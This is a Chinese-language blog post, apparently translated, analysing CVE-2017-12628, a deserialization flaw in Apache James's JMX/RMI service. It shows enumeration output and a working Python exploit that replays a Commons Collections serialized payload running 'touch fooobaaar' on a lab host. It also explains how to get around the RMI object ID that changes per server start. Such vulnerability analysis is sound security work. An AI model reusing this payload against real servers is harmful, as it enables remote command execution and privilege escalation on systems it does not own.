CVE-2017-12628 漏洞分析

漏洞分析 7年前 (2017) 阿Q
1,792 0

引言

本文由野火研习社-rourou翻译自(Analysis of CVE-2017-12628),若有不准之处,欢迎指正。

0×01 简介

  • Apache James :Apache James 简称 James, 是 Java Apache Mail Enterprise Server的缩写。James 是100%基于Java的电子邮件服务器。它是一种独立的邮件服务器,并提供了一个完整的电子邮件解决方案,用来收、发电子邮件。

  • ysoserial:一款github上的java反序列化利用工具

[https://github.com/angelwhu/ysoserial](https://github.com/angelwhu/ysoserial)

  • BaRMIe:是使用枚举的方法攻击Java RMI(远程方法调用)服务的工具。

https://github.com/NickstaDB/BaRMIe/releases/latest

0×02 环境分析

在虚拟机中运行Apache James 3.0.0(3.0.1修复已修复)服务,可以注意到一件事就是在Apache James的lib目录下存commons-collections-3.2.1.jar 我们可以使用ysoserial来生成一个使用该库的POP小工具链,可以通过反序列化实现任意的命令执行。

0×03 分析步骤

启动Apache James服务

在James目录下进入bin执行run.sh文件来启动James服务器,在虚拟机上使用netstat和结合本地使用nmap命令发现主机上存在一个Java RMI端口侦听。

下面是扫描结果:

C:\Tools\Nmap>nmap.exe -sV --version-all -p33148,46299 192.168.174.40

Starting Nmap 7.31 ( [https://nmap.org](https://nmap.org) ) at 2017-10-22 12:37 GMT Daylight Time

Nmap scan report for 192.168.174.40

Host is up (0.00076s latency).

PORT       STATE   SERVICE       VERSION

33148/tcp  open    rmiregistry   Java RMI

46299/tcp  open    tcpwrapped

使用BaRMIe枚举此服务表明它是RMI对象服务而不是RMI注册表服务,因此BaRMIe无法远程攻击该服务。

执行结果如下:

C:\Tools\BaRMIe>java -jar BaRMIe.jar 192.168.174.40 33148

Scanning 1 target(s) for objects exposed via an RMI registry...

192.168.174.40:33148 appears to be an RMI object endpoint, rather than a registry.

在虚拟机上运行nmap扫描本身显示Apache James RMI注册表服务绑定到127.0.0.1:9999。 将BaRMIe复制到虚拟机来枚举这个RMI注册表,发现外部的RMI服务实际上是JMX对象的RMI对象服务。

结果如下 :

RMI Registry at 127.0.0.1:9999

Objects exposed: 1

Object 1

  Name: jmxrmi

  Endpoint: 127.0.1.1:33148

  Classes: 3

    Class 1

      Classname: javax.management.remote.rmi.RMIServerImpl_Stub

使用BaRMIe的攻击模式与通用JMX漏洞和Commons Collections 3.2.1 payload,可以利用此服务执行任意命令,导致本地权限升级。 除此之外,还值得注意的是,如果服务器使用老版本的Java运行时环境(<= 6u131,7u121或8u112),那么这个时候还能利用ysoserial RMI注册表对此漏洞攻击。

0×04 Exp

这是一个本地提权漏洞,但是鉴于JMX对象在外部暴露出来,这也是可以被远程利用的。

为了对漏洞利用证明,可以在虚拟机上使用tcpdump来捕获到JMX对象服务的流量,同时运行BaRMIe JMX漏洞利用命令touch fooobaaar

命令如下 :

sudo tcpdump -i lo -w apache-james-jmx-exploit.pcap port 33148

在本地使用python脚本重放Exploit数据包

下面是Exp代码 :

import socket

packets = [

    "4a524d4900024b",

    "RECV",

    "00093132372e302e312e310000000050aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078709c4cdbcfdd205cf8737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e6971756570787080020000015f4347bba08304129e77088000000000000015737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008beccd729e295d7ea7371007e000580010000015f43592e64224416a1",

    "RECV",

    "50aced000577229c4cdbcfdd205cf88304129e0000015f4347bba08002fffffffff0e074eaad0caea8737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000000010000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b707870740001417372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e0003707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174000f746f75636820666f6f6f6261616172740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64707870000000010000000077080000001000000000787878",

    "RECV",

]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect(("192.168.174.40", 33148))

for packet in packets:

    if packet == "RECV":

        sock.recv(4096)

    else:

        sock.sendall(packet.decode("hex"))

sock.close()

0×05 分析

执行结果

在本地运行此脚本重放Exploit数据包后,可以证明此漏洞是可以远程利用的。1.gif

探究!

在重启Apache James服务后,这个Poc将失效。 我们可以捕获更多数据包捕获来进行比较,并进一步的测试,通过分析得到这些数据包的一些差异。 以下是此数据包的前27个字节:2.png

蓝色 显示的部分是动态的,但是它们的值可以从服务器返回的先前的响应数据包中提取出来。 橙色 突出显示的部分是服务器启动时生成的RMI对象标识符。 该值来自RMI注册表服务,它仅在本地在服务器上进行侦听。 如果使用其他方式获取这个8字节的值,那么这个远程命令执行漏洞也是可以利用的。

版权声明:阿Q 发表于 2017-10-26 11:41。
转载请注明:CVE-2017-12628 漏洞分析 | 安全库

相关文章